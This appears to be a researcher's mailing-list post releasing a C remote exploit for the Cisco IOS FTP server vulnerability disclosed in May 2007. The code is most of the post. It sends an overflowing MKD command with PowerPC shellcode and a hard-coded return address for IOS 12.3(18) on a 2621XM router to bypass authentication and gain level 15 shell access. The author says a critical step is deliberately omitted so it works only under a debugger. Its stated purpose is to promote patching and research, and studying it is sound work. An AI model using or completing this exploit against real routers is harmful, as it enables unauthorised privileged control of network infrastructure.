Hi,
The IOS FTP server vulnerabilities were published in an advisory by Cisco in
May 2007. The FTP server does not run by default, it is not widely used and
has since been removed from new versions of IOS. Therefore, I took the
decision to release this exploit code in order to show that IOS can be
reliably exploited to provide remote level 15 exec shell access. This
clearly demonstrates that patching your router is just as important as
patching your servers.
To prevent its widespread abuse I have omitted a critical step which means
that it will only work when the router is connected to a debugger - not
something you are likely to encounter on the Internet
Anyway, hopefully this will promote further IOS security research as there's
plenty left to look at!
Cheers,
Andy
/*
Cisco IOS FTP server remote exploit by Andy Davis 2008
Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007
Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router
Removes the requirement to authenticate and escalates to level 15
*********************************************************************
To protect the innocent a critical step has been omitted, which means
the shellcode will only execute when the router is attached to gdb.
I'm sure the PowerPC shellcoders out there will work it out...
*********************************************************************
Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent
on the original IOS security research
iosftpexploit <at> googlemail 'dot' com
*/
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#define PORT 21
int main(int argc, char **argv)
{
unsigned char sendbuf[] =
"MKD "
/* .equ vty_info, 0x8182da60 # pointer to VTY info */
/* .equ terminate, 0x80e4086c # kill a process */
"\x3c\x80\x81\x83" /* lis 4,vty_info@ha */
"\x38\x84\xda\x60" /* la 4,vty_info@l(4) */
"\x7d\x08\x42\x78" /* xor 8,8,8 */
"\x7c\xe4\x40\x2e" /* lwzx 7,4,8 */
"\x91\x07\x01\x74" /* stw 8,372(7) */
"\x39\x08\xff\xff" /* subi 8,8,1 */
"\x38\xe7\x09\x1a" /* addi 7,7,233 */
"\x91\x07\x04\xca" /* stw 8,1226(7) */
"\x7d\x03\x43\x78" /* mr 3,8 */
"\x3c\x80\x80\xe4" /* lis 4,terminate@ha */
"\x38\x84\x08\x6c" /* la 4,terminate@l(4) */
"\x7c\x89\x03\xa6" /* mtctr 4 */
"\x4e\x80\x04\x20" /* bctr */
/* exists cleanly without adversely affecting the FTP server */
"\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */
"\x80\x06\x23\xB8" /* return address */
"\x0d\x0a";
/* trampoline code */
/* when the overflow occurs r26+0x14 points to the shellcode */
/*
0x800623B8 lwz 26, 20(26)
0x800623BC mtctr 26
0x800623C0 mr 3, 27
0x800623C4 bctrl
*/
unsigned char recvbuf[256];
struct sockaddr_in servaddr;
int s;
if (argc != 2)
{
printf ("\nCisco IOS FTP server remote exploit by Andy Davis
2008\n");
printf ("\nUsage: %s <target IP address>\n",argv[0]);
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(argv[1]);
servaddr.sin_port = htons(PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect (s, (struct sockaddr *) &servaddr, sizeof(servaddr));
printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n");
printf ("Specific offsets for IOS 12.3(18) on a 2621XM router\n\n");
printf ("Sending exploit...\n\n");
if (send(s, sendbuf, sizeof(sendbuf)-1, 0) == 0)
{
printf("Error sending packet...quitting\n\n");
exit (1);
}
recv (s, recvbuf, sizeof(recvbuf)-1,0);
printf ("Now telnet to the router for a shell...\n\n");
}
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